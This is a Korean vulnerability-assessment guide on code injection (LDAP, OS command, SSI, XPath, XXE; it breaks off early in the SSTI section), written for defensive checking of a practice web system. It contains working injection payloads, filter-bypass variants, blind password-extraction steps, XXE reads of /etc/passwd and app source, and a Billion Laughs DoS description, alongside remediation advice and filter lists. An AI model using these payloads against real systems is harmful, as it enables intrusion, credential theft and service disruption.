← 홈
주요통신기반시설

CI · 코드 인젝션

#주요통신기반시설 #WEB-03#WEB-04#WEB-06#WEB-07#WEB-29#WEB-31

사용자 입력이 데이터가 아니라 명령으로 해석되는 취약점이다.
주요정보통신기반시설은 LDAP · 운영체제 명령 · SSI · XPath · XXE · SSTI 여섯 개를 코드 인젝션 항목으로 묶었다.

개요

주요정보통신기반시설 기술적 취약점 분석·평가 방법 상세가이드의 CI 개요 원문
점검 내용웹 애플리케이션 내 다양한 인젝션 공격(LDAP, 운영체제 명령 실행, SSI, XPATH, XML, SSTI 인젝션 등)에 대해 외부 입력값이 쿼리나 명령어로 삽입되어 비인가된 접근이나 코드 실행의 가능 유무 점검
점검 목적허용되지 않은 코드 및 쿼리 실행을 방지하여 비인가된 접근, 데이터 유출, 시스템 변조, 악성 코드 실행 등의 위협을 차단하여, 데이터 보호와 시스템 안정성을 확보하기 위함
보안 위협해당 취약점이 존재하는 경우 비인가된 데이터 접근으로 민감 정보가 탈취될 수 있으며, 시스템 명령어나 스크립트가 실행되어 서버 제어나 악성 코드 실행이 가능하고, 데이터 무결성이 훼손되어 정보의 신뢰성이 떨어지며, 서비스 거부 공격(DoS)으로 시스템 가용성이 저하될 수 있음. 따라서 파이프·세미콜론·백틱·여는꺾쇠 등의 특수 문자에 대한 필터링 구현과 함께 입력값 검증, 화이트리스트 적용 등의 추가적인 보안 조치가 필요함
참고LDAP 인젝션 : 입력값이 LDAP(Lightweight Directory Access Protocol) 쿼리에 삽입되어 디렉터리 서비스 데이터에 대한 비인가된 조회, 수정, 삭제를 유발하는 공격
운영체제 명령 실행 : 입력값이 시스템 명령어로 실행되어 서버의 운영체제 명령을 비인가로 수행하거나 민감한 시스템 정보를 노출하는 공격
SSI 인젝션 : 입력값이 서버 사이드 인클루드(Server Side Include) 명령어로 실행되어 웹 애플리케이션 서버에서 비인가된 스크립트 실행이나 파일 접근을 유발하는 공격
XPath 인젝션 : 입력값이 XPath 쿼리에 삽입되어 XML 데이터의 비인가된 조회, 추가, 삭제를 유발하는 공격
XXE 인젝션 : 입력값이 XML 문서나 쿼리에 삽입되어 XML 데이터에 대한 비인가된 접근, 외부 엔티티 참조(XML External Entities)를 통한 시스템 정보 유출을 유발하는 공격
SSTI 인젝션 : 입력값이 서버 사이드 템플릿 엔진에 삽입되어 템플릿 렌더링 과정에서 비인가된 코드 실행이나 서버 내부 데이터 노출을 유발하는 공격
소스코드 및 취약점 점검 필요
대상웹 애플리케이션 소스코드, 웹 방화벽
판단 기준양호 : 임의의 입력값에 대하여 철저한 검증이 이루어져, 허용되지 않은 값이 필터링되고 허용된 값만 처리되는 경우
취약: 임의의 입력값에 대하여 검증 없이 명령이 실행되는 경우
조치 방법화이트리스트 방식으로 쿼리를 허용된 값만 처리하고, 특수 문자에 대해 입력값 검증
조치 시 영향일반적인 경우 영향 없음

1. LDAP 인젝션

문법

LDAP(Lightweight Directory Access Protocol)는 네트워크 상에서 사용자 계정과 권한 정보를 중앙에서 관리하고 빠르게 검색하기 위해 사용한다.

LDAP 검색 필터는 연산자가 앞에 오는 전위 표기법이다. 조건은 각각 괄호로 감싸고 SQL 문과 비교하여 설명한다.

SQL    :  uid = 'admin' AND userPassword = '1234'
LDAP   :  (&(uid=admin)(userPassword=1234))

SQL 은 AND 가 두 조건 사이에 오고 문자열들은 따옴표로 감싼다. LDAP 은 괄호로 모든 구문을 감싸게 되고 & 가 맨 앞에 오는 차이가 있다.

연산자는 셋으로 AND, OR, NOT 이 있다. 각각 &, |, ! 형태이다.

(&(A)(B))    A 그리고 B
(|(A)(B))    A 또는 B
(!(A))       A 가 아님

비교 연산자

(uid=hong)       같음
(age>=20)        크거나 같음
(age<=65)        작거나 같음
(cn~=홍길동)     근사 일치(approxMatch). 서버 구현에 따라 다르며 대부분 = 와 동일하게 동작한다

부등호 단독은 없고 항상 크거나 같음, 작거나 같음 형태다.

와일드카드

(uid=*)        uid 값이 무엇이든 일치

(uid=adm*)     uid 가 adm 으로 시작하면 일치

(uid=*ger)     uid 가 ger 로 끝나면 일치

(uid=*ana*)    uid 안에 ana 가 있으면 일치

SQL 인젝션과 비교

SQLLDAP
항상 참인 조건OR 1=1(&)
주석--#없음
와일드카드%*
구조를 깨는 문자작은따옴표닫는 괄호

참을 만들 때 SQL 은 1=1 을 쓰지만 LDAP 은 (&) 하나면 된다. 조건이 안 들어간 AND 라 참이 된다.

주석에도 차이가 있다.

SQL   :  admin' OR 1=1 --
LDAP  :  admin)(&)

SQL 은 -- 를 붙이면 뒤가 무시되지만 LDAP 은 주석이 없어 괄호를 직접 맞춰 필터를 완성시켜야 한다.

원리

서버는 입력값을 검사 없이 필터 문자열에 그대로 이어 붙인다.

(&(uid=[아이디])(userPassword=[비밀번호]))

아이디 칸에 admin)(&) 를 넣으면 아래와 같이 조립된다.

입력 : admin)(&)
(&(uid=admin)(&))(userPassword=111))

입력에 넣은 ) 가 uid 조건을 닫고 이어 붙인 (&) 가 두 번째 조건이 된다. 여기서 뒤에 나오는 userPassword 는 필터 밖으로 밀려난다. 서버는 앞에서부터 완결된 필터 하나만 읽고 나머지를 버리기 때문에, 비밀번호는 아예 검사되지 않는다.

구조를 건드리지 않는 방법도 있다. 비밀번호 칸에 * 만 넣으면 된다.

(&(uid=admin)(userPassword=*))

(속성=*) 는 값을 대조하지 않고 속성이 존재하는지만 묻는다. 그래서 비밀번호를 몰라도 통과한다. 앞뒤로도 붙으므로 Adm* 처럼 한 글자씩 좁혀 비밀번호를 복원할 수도 있다.

두 방식 모두 원인은 하나다. 입력값이 값이 아니라 문법 기호로 해석되는 것이다.

점검

점검 대상 : 임직원 디렉터리 로그인 /auth/ldap-login

Step 1) 사용자 입력값에 대하여 변조된 LDAP 쿼리 삽입 후 실행 가능 여부 확인

payload : admin)(&)

추가 검증

주입한 문자열 안에 맨 바깥 괄호를 닫는 ) 가 들어 있어야 성립한다. 닫는 괄호가 들어가는 순간 비밀번호 조건이 필터 밖으로 밀려나 검사되지 않는다.

(&(uid=admin)(&))(userPassword=zzz))
                ↑ 여기서 필터 끝. 뒤는 버려진다

우회 변형 : 아이디를 몰라도 연산자를 통해 우회가 가능하다.

페이로드설명
adm*)(&)아이디를 정확히 몰라도 앞글자만 맞으면 통과한다
*)(&)모든 계정이 매칭되어 디렉터리 첫 엔트리인 admin 으로 로그인된다
admin)(!(uid=zzz))없는 계정을 이용해 !(NOT)으로 참을 만든다
아이디 admin / 비밀번호*필터 구조를 그대로 둔 채 통과한다. (userPassword=*) 는 값을 대조하지 않고 속성이 있는지만 확인하기 때문이다

블라인드 추출 : 성공과 실패의 응답을 통해 값을 알아낸다.

페이로드설명
admin)(userPassword=A*)로그인 성공, 비밀번호 첫 글자가 A 라는 뜻이다
admin)(userPassword=B*)로그인 실패, 첫 글자는 B 가 아니다
admin)(userPassword=a*)로그인 실패, 비밀번호는 대소문자를 구분한다

앞글자를 한 글자씩 늘려가며 반복하면 비밀번호 전체가 나온다.

조치 방안

  1. 사용자 입력값을 화이트리스트로 지정하여 영문(a-z, A-Z)과 숫자(0-9)만을 허용
  2. 특수문자를 사용해야 하는 경우 입력값(DN에 사용되는 특수문자는 \ 를 붙여 이스케이프 처리, 필터에 사용되는 특수문자는 = + < > # \ , ; 앞뒤 공백 등)에 대해서는 실행 명령이 아닌 일반문자로 인식되도록 처리
  3. DN과 필터에 사용되는 사용자 입력값에는 특수문자 제거
  4. 웹 방화벽에 LDAP 관련 특수문자를 필터링하도록 룰셋 적용

※ 특수문자 필터링 예시

구분필터링 예시
변경 전\=+*()\0
변경 후\5c\3d\2b\2a\28\29\00

※ 필터링 대상 예시

필터링 대상 예시
'"-#()
<>=/**/+
*;&|\\0
:`%user_tablestable_namecolumn_name
Syscolumnsunionselectinsertdropupdate
andorIfjoinsubstringfrom
wheredeclaresubstropenrowsetxp_sysobject

2. 운영체제 명령 실행

문법

쉘은 한 줄에 여러 명령을 이어 쓸 수 있다. 명령과 명령을 나누는 기호는 아래와 같다.

A ; B      A 를 실행하고 이어서 B 를 실행한다
A && B     A 가 성공하면 B 를 실행한다
A || B     A 가 실패하면 B 를 실행한다
A | B      A 의 출력을 B 의 입력으로 넘긴다
A & B      A 를 백그라운드로 돌리고 B 를 실행한다

명령을 실행해서 출력값으로 자리를 채우는 문법도 있다.

`명령`      백틱 안의 명령을 실행하고 결과를 백틱 자리에 넣는다
$(명령)     백틱과 동일하게 동작하고 중첩해서 쓸 수 있다는 점만 다르다

구분자와 치환은 쓰임이 다르다. 구분자는 새 명령을 시작하지만, 치환은 원래 명령의 인자가 된다.

ping -c 2 127.0.0.1; id     id 가 별도 명령으로 실행된다. 
ping -c 2 $(id)             id 결과가 ping 의 호스트명이 된다.

원리

서버가 입력값을 검사하지 않아 특수문자가 섞인 값이 그대로 쉘 명령으로 실행된다.

ping -c 2 [입력값]

입력값 칸에 127.0.0.1; id 를 넣으면 아래처럼 조립된다.

입력 : 127.0.0.1; id
ping -c 2 127.0.0.1; id

쉘은 ; 를 만나면 앞부분을 명령 하나로 끝내고 뒤를 새 명령으로 읽는다. ping 결과에 이어 id 결과까지 화면에 출력된다.

점검

점검 대상 : 운영 도구 PING 진단 /admin/tools/ping, DNS 조회 /admin/tools/nslookup

Step 1) 웹 애플리케이션 기능 내 전달되는 파라미터 값에 대하여 운영체제 명령어 삽입 후 실행 여부 확인

추가 검증

구분자 변형

페이로드설명
127.0.0.1 && idping 이 성공한다면 id 가 실행된다
zzz || id존재하지 않는 호스트로 ping 을 보내서 실패한다면 실행된다
127.0.0.1 | idping 출력이 id 의 입력으로 넘어가는데, id 는 입력을 읽지 않아 버려진다. 화면에는 id 결과만 남는다
127.0.0.1%0Aid쉘은 줄바꿈(%0A)도 ; 와 같은 명령 끝 표시로 읽기 때문에, 뒤에 붙인 id 가 별도 명령으로 실행된다

필터 우회

페이로드설명
;id공백 없이도 실행된다
;cat${IFS}/etc/passwd공백을 막으면 ${IFS} 변수가 공백을 대신한다
;i""d키워드 사이에 빈 따옴표를 넣으면 쉘이 지우고 id 로 읽는다

출력이 안 보일 때

페이로드설명
127.0.0.1; sleep 5응답이 1초에서 6초로 늘어난다. 출력이 없어도 실행 여부를 알 수 있다

조치 방안

  1. 웹 애플리케이션 설계 시 운영체제로부터 명령어를 직접적으로 호출하지 않도록 구현하고, 언어/프레임워크에서 제공하는 안전한 API 사용
  2. 명령어를 직접 호출하는 기능이 필요한 경우에는, 데이터가 OS의 명령어 해석기에 전달되기 전에 화이트리스트 기반으로 입력값을 검증/확인하도록 구현
  3. 입력값에 대한 파라미터 데이터의 필터링 처리

    • Unix/Linux : &, &&, |, ||, ;, 백틱, $(), <, >
    • Windows : &, |, ^, %
  4. 웹 서버 및 웹 애플리케이션 서버는 공개적으로 알려진 취약점이 제거된 상위 버전으로 업데이트 (KISA 보호나라&KrCERT/CC 알림마당 > 보안공지 https://www.boho.or.kr/)
  5. 웹 방화벽에 모든 사용자 입력값을 대상으로 악용될 수 있는 특수문자 및 키워드 등에 대한 룰셋 적용

※ 특수문자 필터링 처리 문자 설명

구분상세 설명
&첫 번째 명령어는 백그라운드에서 실행되며, 두 번째 명령어는 즉시 실행
&&첫 번째 명령어가 성공했을 때만 두 번째 명령어 실행
|두 명령어를 연결하여, 첫 번째 명령어의 출력을 두 번째 명령어의 입력으로 전달
;첫 번째 명령어 실행 후 성공여부와 무관하게 두 번째 명령어 실행
백틱 또는$()백틱 또는 괄호 안에 있는 명령어를 실행하고 그 출력을 반환
>또는>>명령 실행 결과를 파일로 생성(덮어쓰기 또는 추가)
<파일 내용을 명령어 입력으로 전달
^(Windows)명령어 이스케이프/제어 문자로 사용
%(Windows)환경 변수 치환
\이스케이프 문자 또는 뒤에 오는 특수문자를 무효화하거나 명령 연결 시 사용

3. SSI 인젝션

문법

SSI(Server Side Includes)는 HTML 파일 안에 적어 둔 지시어를 웹 서버가 대신 처리해 주는 기능이다. 지시어는 주석처럼 생겼고, 서버는 응답을 보내기 전에 지시어를 실행해서 지시어 자리를 결과 문자열로 갈아 끼운다.

<!--#지시어 속성="값" -->

HTML 주석과 생김새가 같고 <!-- 뒤에 # 이 붙는 것만 다르다.

지시어

<!--#echo var="DOCUMENT_ROOT" -->    변수 값을 출력한다
<!--#include file="경로" -->         파일 내용을 그 자리에 넣는다
<!--#exec cmd="명령어" -->           시스템 명령을 실행하고 출력을 넣는다
<!--#printenv -->                   환경변수를 전부 출력한다
<!--#fsize file="경로" -->           파일 크기를 출력한다
<!--#flastmod file="경로" -->        파일 수정 시각을 출력한다

include 는 경로를 filevirtual 두 속성 중 하나로 받는다. file 은 상대경로, virtual/ 로 시작하는 절대경로를 쓴다. virtual/ 는 파일시스템이 아니라 사이트 루트를 가리킨다.

원리

서버가 입력값을 검사하지 않아, 파라미터에 넣은 지시어가 서버에서 그대로 실행되고 실행 결과가 응답으로 돌아온다.

<div class="post-content">[본문]</div>

본문 칸에 <!--#exec cmd="id" --> 를 넣으면 아래처럼 조립된다.

입력 : <!--#exec cmd="id" -->
<div class="post-content"><!--#exec cmd="id" --></div>

서버는 HTML 문서를 내보내기 전에 <!--# 로 시작하는 지시어를 찾는다. exec 지시어는 cmd 속성에 적힌 id 를 실행하고, 지시어 전체가 출력값으로 바뀐다.

응답 : <div class="post-content">uid=10001 gid=10001 groups=10001</div>

지시어는 응답에 남지 않는다.

지시어마다 들어가는 값만 다르고 처리 방식은 같다. exec 은 명령 실행 결과, echo 는 서버 변수 값, include 는 파일 내용이 지시어 자리에 출력된다.

점검

점검 대상 : 자유게시판 글쓰기 /board/free/write → 게시글 상세 /board/free/view/:id

Step 1) 사용자가 입력 가능한 파라미터 값에 <!--#echo var="DOCUMENT_ROOT" --> 를 삽입하여 전송 후 반환되는 페이지에 사이트의 홈 디렉터리가 표시되는지 확인

payload : <!--#echo var="DOCUMENT_ROOT" -->
          <!--#echo var="DOCUMENT_NAME" -->

Step 2) 사용자가 입력 가능한 파라미터 값에 <!--#exec cmd="ls -al" --> 를 삽입하여 전송 후 반환되는 페이지에 디렉터리의 파일 리스트가 표시되는지 확인

payload : <!--#exec cmd="id" -->
          <!--#exec cmd="ls -al /" -->

Step 3) HTTP 요청(Request) 헤더에 명령어를 삽입하여 실행되는지 확인

헤더는 그 자체로 실행되지 않는다. 헤더 값을 화면에 다시 실어 보내는 지점이 있어야, 실린 문서가 SSI 파싱되면서 실행된다. 에러 페이지의 유입 경로 표시, 관리자 페이지의 접속 통계 화면 같은 곳이 흔한 후보다. 본 시스템은 게시글 상세 하단 접속 정보 영역이 여기에 해당한다.

GET /board/free/view/<id> HTTP/1.1
Referer: <!--#exec cmd="/bin/ps ax" -->
User-Agent: <!--#exec cmd="id" -->

추가 검증

필터 우회 : 지시어 문자열을 필터링 할 때 필터 우회 기법들

페이로드설명
<!--#EXEC CMD="id" -->exec을 필터링 할 때 대문자로 우회가 가능하다
<!--# exec cmd="id" -->#exec을 필터링 할 때 # 와 지시어 사이의 공백을 추가해 우회가 가능하다
<!--#exec cmd='id' -->cmd="를 필터링할 때 작은따옴표로 우회가 가능하다
<!--#exec foo="bar" cmd="id" -->#exec cmd=처럼 이어진 형태를 필터링 할 때 사이에 다른 속성을 끼워 우회가 가능하다. 파서는 모르는 속성을 무시하고 cmd 만 골라 읽는다
<!--#exec
cmd="id"
-->
한 줄 단위로 필터링 할 때 지시어 중간에 개행을 넣어 우회가 가능하다

출력이 안 보일 때 : 출력 결과를 알 수 없을 때 시간 지연 기법으로 확인할 수 있다.

페이로드설명
<!--#exec cmd="sleep 3" -->응답이 18ms 에서 3019ms 로 늘어난다. 결과가 화면에 안 찍혀도 실행 여부를 판정할 수 있다

조치 방안

  1. 화이트리스트 방식으로 사용자 입력에 대해 사용 가능한 문자들을 정의하여, 정해진 문자를 제외한 나머지 모든 문자들을 필터링 처리
  2. 필터링해야 하는 대상은 GET 질의 문자열, POST 데이터, 쿠키, URL, 그리고 일반적으로 브라우저와 웹 서버가 주고받는 모든 데이터를 포함하며, 아래는 특수문자에 대한 엔티티 형태를 표시한 것임
  3. 웹 서버의 SSI 기능을 사용하지 않거나, 웹 방화벽에 특수문자를 필터링하도록 룰셋 적용

※ 특수문자 엔티티 변환 예시

구분필터링 예시
변경 전<>"()#&
변경 후&lt;&gt;&quot;&#40;&#41;&#35;&amp;

4. XPath 인젝션

문법

XPath 는 XML 문서에서 원하는 노드를 찾는 경로 표현식이다. 파일 경로 쓰듯 트리를 타고 내려가며 조건에 맞는 노드를 골라낸다. SQL 이 테이블에서 행을 고르는 언어라면 XPath 는 트리에서 노드를 고르는 언어다.

SQL    :  SELECT * FROM employees WHERE uid = 'admin' AND pw = '1234'
XPath  :  //employee[uid='admin' and pw='1234']

//employee 가 FROM 절, 대괄호 안이 WHERE 절에 해당한다.

경로 표기

/employees/employee     루트부터 한 단계씩 내려간다
//employee              문서 어디에 있든 employee 를 전부 찾는다
//employee/uid          employee 아래의 uid
//employee/@id          id 속성
//*                     모든 노드
..                      부모 노드

슬래시 하나는 바로 아래 자식만, 둘은 깊이에 상관없이 문서 전체에서 찾는다.

조건 표기

//employee[uid='admin']              uid 가 admin 인 employee
//employee[uid='a' and pw='b']       두 조건을 모두 만족
//employee[@id='3']                  id 속성이 3
//employee[1]                        첫 번째 employee
//employee[last()]                   마지막 employee

연산자

and  or  not()          논리
=  !=  <  >  <=  >=     비교
|                       합집합. 두 질의 결과를 합친다

자주 쓰는 함수

count(//employee)                   노드 개수
string-length(//employee[1]/pw)     문자열 길이
substring(//employee[1]/pw, 1, 1)   부분 문자열 (1번째부터 1글자)
name(//employee[1]/*[1])            노드 이름
contains(a, b)                      b 를 포함하는지
starts-with(a, b)                   b 로 시작하는지

화면에 데이터가 안 나오고 성공·실패만 알 수 있을 때, 이 함수들로 "첫 글자가 A 인가" 같은 참·거짓 질문을 만들어 값을 한 글자씩 알아낸다. SQL Injection 의 Blind SQLi 와 같다고 생각하면 된다.

SQL 인젝션과 비교

SQLXPath
항상 참인 조건OR 1=1or '1'='1'
주석--#없음
전체 조회SELECT *//*
합집합UNION SELECT\|
구조를 깨는 문자작은따옴표작은따옴표
권한 분리DB 계정별 테이블 권한없음

SQL 과 XPath 의 가장 큰 차이는 주석이 없다는 점이다.

SQL    :  admin' --
XPath  :  admin' or '1'='1

SQL 은 -- 로 뒤를 무시할 수 있지만, XPath 는 주석이 없어 남은 따옴표까지 맞춰 문장을 완성시켜야 한다.

권한 분리가 없다는 것도 짚어둘 만하다. SQL 은 DB 계정 권한으로 접근 범위를 좁힐 수 있지만, XML 은 파일 하나가 통째로 파싱되어 메모리에 올라간다. 한 번 구조를 깨면 문서 전체를 읽을 수 있다.

원리

서버가 입력값을 검사하지 않아 질의문에 그대로 이어 붙인다.

//employee[uid='[아이디]' and pw='[비밀번호]']

아이디에 admin, 비밀번호 칸에 ' or '1'='1 을 넣으면 아래처럼 조립된다.

입력 : ' or '1'='1
//employee[uid='admin' and pw='' or '1'='1']

입력에 넣은 작은따옴표가 pw 조건을 닫아 pw='' 로 만들고, 뒤에 이어 붙인 or '1'='1' 이 새 조건이 된다. XPath 는 andor 보다 먼저 묶으므로 조건이 이렇게 갈린다.

(uid='admin' and pw='')  or  ('1'='1')
        거짓                    항상 참

앞이 거짓이어도 뒤가 참이라 전체가 참이 된다.

점검

점검 대상 : 임직원 인증(인사정보) 로그인 /auth/xml-login

Step 1) 취약점 존재 유무 판단을 위한 XPath 쿼리(' or '1'='1, ' and 'a' = 'b 등) 삽입

임직원 계정 : ' or '1'='1' or 'a'='
비밀번호    : 1234   (아무 값)

비밀번호를 모르는 상태로 로그인이 통과된다. 끝에 or 'a'=' 를 붙이는 이유가 있다. andor 보다 먼저 묶이므로 계정 칸에 ' or '1'='1 만 넣으면 뒤쪽 pw 조건이 살아남아 실패한다. 따옴표를 맞춰 참 조건이 마지막에 오게 만들어야 한다.

Step 2) 추가적인 쿼리 질의를 통하여 데이터 추출 등의 타당성 검토

임직원 계정 칸에 조건을 넣는다. 비밀번호는 아무 값이어도 된다. 로그인 성공이 참, 실패가 거짓이다.

' or count(//employee)=6 or 'a'='                    → 성공. 직원 6명
' or string-length(//employee[1]/pw)=10 or 'a'='     → 성공. 비밀번호 10자리
' or substring(//employee[1]/pw,1,1)='A' or 'a'='    → 성공. 첫 글자 A

추가 검증

우회 변형 : 항상 참을 만드는 형태는 여러 가지다.

페이로드설명
' or '1'='1' or 'a'='계정을 몰라도 통과한다. 참 조건이 맨 뒤에 와야 한다
' or 1=1 or '문자 비교 대신 숫자 비교를 쓴다. 따옴표가 덜 들어가 짧다
admin' or 'a'='a계정을 알 때 쓴다. 뒤쪽 pw 조건이 or 로 무력화된다

구조 파악 : 노드 이름을 모르는 상태에서도 참·거짓 질문으로 알아낼 수 있다.

페이로드설명
' or name(/*)='employees' or 'a'='루트 노드 이름이 employees 인지 확인한다
' or name(//employee[1]/*[1])='uid' or 'a'='첫 자식 노드 이름이 uid 인지 확인한다
' or starts-with(//employee[1]/pw,'Adm') or 'a'='앞 세 글자가 Adm 인지 확인한다. 한 글자씩 물을 때보다 빨리 좁혀진다

이름을 먼저 알아내면 그다음은 값을 물을 수 있다. 스키마를 모르는 상태에서 시작해도 로그인 성공·실패만으로도 값을 유추할 수 있다.

조치 방안

  1. XPath 쿼리에 사용자가 값을 입력할 수 있는 경우, 입력값 검증을 통해 필요 문자만을 받아들이게 함. ( ) = ' [ ] : , * / 등의 오동작을 유발하는 특수문자는 제한하며, 특정 특수문자만을 필터링하는 것이 아닌 허용된 문자 이외의 모든 입력을 화이트리스트 방식으로 필터링 처리
  2. XPath 및 XQuery 의 쿼리 삽입 시 사용되는 특수문자를 필터링하도록 웹 방화벽 룰셋 적용

5. XXE 인젝션

문법

XML 문서는 맨 앞에 선언을 두고 그 아래에 요소가 트리로 이어진다. 선언과 루트 요소 사이에 DTD 를 넣을 수 있다. DTD 는 문서가 어떤 구조여야 하는지를 정의하는 스키마이고, 엔티티를 선언할 수 있는 유일한 자리다. 엔티티는 본문에서 &이름; 으로 불러 쓸 수는 있지만 선언은 DTD 안에서만 된다. 그래서 XXE 는 DTD 에 엔티티를 선언해 두고 본문에서 불러 쓰는 방식으로 공격한다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

첫 줄은 XML 선언이다. 버전과 인코딩을 적는다. 둘째 줄에서 DTD 를 열고, 이때 본문의 최상위 태그와 같은 이름을 적는다. 셋째 줄부터가 내부 서브셋(DTD)이고 여기에 엔티티를 선언한다. 외부 엔티티를 쓰면 서버의 파일을 가져올 수 있다. 본문에서 &xxe; 로 부르면 내부 서브셋에서 불러온 파일 내용이 채워진다.

엔티티

엔티티는 XML 의 치환 문자열이다. &이름; 형태로 작성하고 정의된 값으로 바뀐다.

&lt;     →  <   
&gt;     →  >   
&amp;    →  &   
&quot;   →  " 
&apos;   →  '    

이 다섯 개는 XML 이 미리 정의해 둔 값들이다.

내부 엔티티

직접 정의하게 되면 내부 엔티티가 되고 값을 엔티티 선언 안에 작성한다.

<!ENTITY corp "노비스금융정보센터"> 
&corp;  →  노비스금융정보센터         

외부 엔티티

값을 문서 안에 적지 않고 바깥에서 가져온다. 문법은 SYSTEM 을 작성하고 뒤에 경로를 쓴다.

<!ENTITY xxe SYSTEM "file:///etc/passwd">   서버의 파일에서 읽어온다
<!ENTITY xxe SYSTEM "http://내서버/x">      URL 로 받아온다
&xxe;  →  선언한 경로에서 가져온 내용

원리

서버가 XML 을 파싱할 때 DTD 의 외부 엔티티 선언을 그대로 해석한다. 선언에 적힌 경로의 파일을 읽어 본문에 채우고, 채워진 문서가 응답으로 돌아온다.

정상 요청은 거래내역 XML 을 보내면 파싱해서 JSON 으로 돌려주는 형태다.

POST /api/v1/xml-import

<transactions>
  <transaction><amount>50000</amount></transaction>
</transactions>

응답 : "data": { "transaction": { "amount": "50000" } }

같은 자리에 DTD 를 넣으면 아래의 예시처럼 된다.

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

응답 : "data": "root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin ..."

서버는 본문에서 &xxe; 를 만나면 DTD 에서 같은 이름의 선언을 찾고, SYSTEM 에 적힌 /etc/passwd 를 읽어 &xxe; 자리를 채운다. 파싱이 끝난 문서를 JSON 으로 바꿔 돌려주므로 파일 내용이 그대로 응답에 실린다.

점검

점검 대상 : 거래내역 XML 일괄등록 POST /api/v1/xml-import

Step 1) 파일 업로드 페이지, API 엔드포인트, HTML Form 등 XML 을 파싱하는 지점에 XML 객체 삽입 시도

POST /api/v1/xml-import HTTP/1.1
Host: vuln.novice-22.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

entitieskind: external, uri: file:///etc/passwd, bytes: 739 가 찍히고 preview 에 파일 내용이 보인다. 응답 아래쪽 data 에는 /etc/passwd 내용이 들어 있다.

추가 검증

읽기 대상 확장 : 경로만 바꾸면 다른 파일도 그대로 읽힌다.

페이로드설명
file:///proc/self/environ컨테이너 환경변수가 나온다. NODE_ENV=production, PORT=3000,PWD=/app
file:///app/src/routes/auth.js앱 소스코드 83KB 가 통째로 응답에 실린다
package.json스킴 없는 상대경로도 앱 루트 기준으로 열린다

필터 우회 : 선언 문자열을 필터링할 때의 우회 기법들

페이로드설명
<!doctype foo [ ... ]><!DOCTYPE를 필터링할 때 소문자로 우회가 가능하다
<!DOCTYPE
foo
[ <!ENTITY zz SYSTEM "file:///etc/hostname"> ]>
한 줄 형태를 필터링할 때 선언 중간에 개행을 넣어 우회가 가능하다
SYSTEM "/etc/passwd"file://를 필터링할 때 스킴을 빼고 경로만 적어 우회가 가능하다
SYSTEM "file:///etc/pass%77d"경로 문자열을 필터링할 때 URL 인코딩으로 우회가 가능하다

전송 방식 우회 : application/xml 본문만 검사하는 필터를 비켜간다.

전송 방식설명
폼 필드xml=application/x-www-form-urlencoded로 보내도 source: form:xml 로 동일하게 파싱된다
쿼리스트링?xml=본문 없이 주소에 실어 보내도 source: query:xml 로 성립한다
JSON{"xml":"..."}application/json으로 보내도 동일하게 파싱된다

결과가 안 보일 때 : 파일 내용이 안 나와도 오류 문구가 갈린다.

대상오류
없는 파일ENOENT: no such file or directory
/etc/shadow(권한 없음)EACCES: permission denied
/etc(디렉터리)EISDIR: illegal operation on a directory

내용을 못 읽어도 파일의 존재 여부와 권한을 구분할 수 있다.

서비스 거부

페이로드설명
재귀 엔티티(Billion Laughs) 6단계엔티티가 서로를 참조하도록 쌓으면 확장이 111,111회까지 늘어난다. 본 시스템은 4MB 상한에 걸려 500 으로 끊었지만, 상한이 없으면 메모리가 소진된다

조치 방안

  1. 허용된 태그와 속성만 사용하도록 화이트리스트 방식을 이용한 입력값 검증 로직 구현
  2. 최근 언어별 XML 파서의 경우, 기본적으로 외부 엔티티 처리가 비활성화되어 있으나 소스코드 상에서 명시적으로 비활성화 처리하는 것이 안전한 방법
  3. 의도하지 않은 오동작이 발생할 가능성이 존재하는 외부 엔티티 참조 명령어 및 주요 스키마 등에 대하여 웹 방화벽에 룰셋 적용

※ Java DTD(외부 엔티티) 비활성화 예시

...
// 공통 보안 설정
dbf.setXIncludeAware(false);
...
if (mode == SecurityMode.FULL_SECURE) {
      dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
} else if (mode == SecurityMode.LIMITED_SECURE) {
      // DTD를 완전히 비활성화할 수 없는 경우
      dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
      dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
      dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
}
...

ASP.NET DTD(외부 엔티티) 비활성화 예시

...
// XmlDocument 객체 생성
XmlDocument doc = new XmlDocument();

// XmlResolver를 null로 설정하여 외부 엔티티의 해석을 비활성화
doc.XmlResolver = null
...

※ PHP 8.0 이전 DTD(외부 엔티티) 비활성화 예시

...
libxml_disable_entity_loader(true);
...

※ PHP 8.0 이후 DTD(외부 엔티티) 비활성화 예시

libxml_disable_entity_loader() 함수가 더 이상 사용되지 않으며, 외부 엔티티 로드는 기본적으로 비활성화되어 있지만, LIBXML_NOENT 플래그로 인하여 XML 파서가 외부 엔티티를 확장하도록 설정되어 있는 경우 XXE 취약점 발생 가능

...
// DOMDocument 인스턴스 생성
$dom = new DOMDocument();
// 외부 엔티티 비활성화
$dom->loadXML($xmlfile, LIBXML_NONET);
...

6. SSTI 인젝션

문법

템플릿 엔진은 정해 둔 템플릿 양식과 데이터를 합쳐 최종 문서를 출력하는 소프트웨어다. 웹에서는 대부분 HTML 을 만들어 낸다.

템플릿 양식에는 값이 들어갈 빈칸을 만들어 놓고 빈칸에 값을 넣어 결과가 출력되는 형식이다. 아래의 예시는 EJS 문법이다.
*EJS : Embedded JavaScript templates. Node.js 용 템플릿 엔진이다.

템플릿 :  안녕하세요, <%= name %>님.
데이터 :  { name: "홍길동" }
결과   :  안녕하세요, 홍길동님.

빈칸을 표시하는 기호를 구분자라고 한다. 구분자 안은 글자가 아니라 코드로 읽힌다. 값을 꺼내는 것뿐 아니라 계산과 함수 호출도 가능하다. 아래의 코드는 빈칸 안에 7*7 을 입력하여 49가 출력이 되고 name.length 로 글자 수를 꺼낼 수도 있다.

